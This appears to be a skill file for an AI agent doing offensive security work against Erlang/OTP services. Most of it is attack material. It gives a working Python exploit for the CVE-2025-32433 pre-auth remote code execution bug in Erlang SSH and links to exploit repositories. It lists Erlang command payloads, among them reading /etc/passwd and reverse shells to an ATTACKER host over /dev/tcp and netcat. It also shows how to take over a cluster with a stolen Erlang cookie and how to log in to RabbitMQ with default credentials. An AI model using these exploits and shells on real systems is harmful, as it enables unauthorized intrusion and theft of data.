| name | Erlang/OTP Exploitation |
| description | This skill should be used when Erlang/OTP services are detected:
- Port 4369 (EPMD - Erlang Port Mapper Daemon)
- Erlang SSH (usually port 2222)
- RabbitMQ, CouchDB, or other Erlang-based services
Covers CVE-2025-32433 pre-auth RCE and other Erlang attack vectors.
|
| version | 1.0.0 |
Erlang/OTP Exploitation Skill
Detection Indicators
Ports
| Port | Service | Notes |
|---|
| 4369 | EPMD | Erlang Port Mapper - indicates Erlang services |
| 2222 | Erlang SSH | Custom SSH implementation (NOT OpenSSH) |
| 5672 | RabbitMQ | Erlang-based message broker |
| 5984 | CouchDB | Erlang-based database |
| 25672 | RabbitMQ Cluster | Inter-node communication |
Banner Identification
SSH-2.0-Erlang/5.2.9
erl -noshell -eval 'io:format("~s~n", [erlang:system_info(otp_release)]), halt().'
CVE-2025-32433: Erlang SSH Pre-Auth RCE
CRITICAL VULNERABILITY - CVSS 10.0
Affected Versions
- OTP < 27.3.3
- OTP < 26.2.5.11
- OTP < 25.3.2.20
Vulnerability
The Erlang SSH server accepts SSH_MSG_CHANNEL_OPEN and SSH_MSG_CHANNEL_REQUEST messages BEFORE authentication completes, allowing unauthenticated command execution.
Exploit Repository
git clone https://github.com/ProDefense/CVE-2025-32433.git
git clone https://github.com/NiteeshPujari/CVE-2025-32433-PoC.git
Quick Exploit (Python)
import socket
import struct
import time
HOST = "127.0.0.1"
PORT = 2222
def string_payload(s):
s_bytes = s.encode("utf-8")
return struct.pack(">I", len(s_bytes)) + s_bytes
def build_channel_open(channel_id=0):
return (b"\x5a" + string_payload("session") + struct.pack(">I", channel_id)
+ struct.pack(">I", 0x68000) + struct.pack(">I", 0x10000))
def build_channel_request(channel_id=0, command=None):
return (b"\x62" + struct.pack(">I", channel_id) + string_payload("exec")
+ b"\x01" + string_payload(command))
def build_kexinit():
cookie = b"\x00" * 16
def name_list(l): return string_payload(",".join(l))
return (b"\x14" + cookie
+ name_list(["curve25519-sha256","ecdh-sha2-nistp256","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256"])
+ name_list(["rsa-sha2-256","rsa-sha2-512"])
+ name_list(["aes128-ctr"]) * 2
+ name_list(["hmac-sha1"]) * 2
+ name_list(["none"]) * 2
+ name_list([]) * 2
+ b"\x00" + struct.pack(">I", 0))
def pad_packet(payload, block_size=8):
min_padding = 4
padding_len = block_size - ((len(payload) + 5) % block_size)
if padding_len < min_padding: padding_len += block_size
return (struct.pack(">I", len(payload) + 1 + padding_len)
+ bytes([padding_len]) + payload + bytes([0] * padding_len))
cmd = 'os:cmd("cat /root/root.txt > /tmp/flag.txt").'
with socket.create_connection((HOST, PORT), timeout=5) as s:
s.sendall(b"SSH-2.0-OpenSSH_8.9\r\n")
banner = s.recv(1024)
print(f"Banner: {banner.strip()}")
time.sleep(0.3)
s.sendall(pad_packet(build_kexinit()))
time.sleep(0.3)
s.sendall(pad_packet(build_channel_open()))
time.sleep(0.3)
s.sendall(pad_packet(build_channel_request(command=cmd)))
print(f"Sent: {cmd}")
Erlang Commands for RCE
% Read file
file:read_file("/etc/passwd").
% Write file
file:write_file("/tmp/pwned", <<"content">>).
% Execute OS command
os:cmd("id").
os:cmd("cat /root/root.txt > /tmp/flag.txt").
os:cmd("bash -i >& /dev/tcp/ATTACKER/4444 0>&1").
% Reverse shell
os:cmd("nc ATTACKER 4444 -e /bin/bash").
EPMD Enumeration (Port 4369)
nmap -sV -p 4369 --script epmd-info <TARGET>
echo -n -e '\x00\x01\x6e' | nc <TARGET> 4369 | hexdump -C
Erlang Cookie Attack
If you can find the Erlang cookie, you can connect to the cluster:
/var/lib/rabbitmq/.erlang.cookie
/root/.erlang.cookie
/home/<user>/.erlang.cookie
erl -sname attacker -setcookie <COOKIE>
rpc:call('target@hostname', os, cmd, ["id"]).
RabbitMQ Specific
guest:guest (localhost only by default)
curl -u guest:guest http://<TARGET>:15672/api/overview
curl -u guest:guest http://<TARGET>:15672/api/users
Mitigation Detection
Check if patched:
erl -eval 'io:format("~s~n", [erlang:system_info(otp_release)]), halt().' -noshell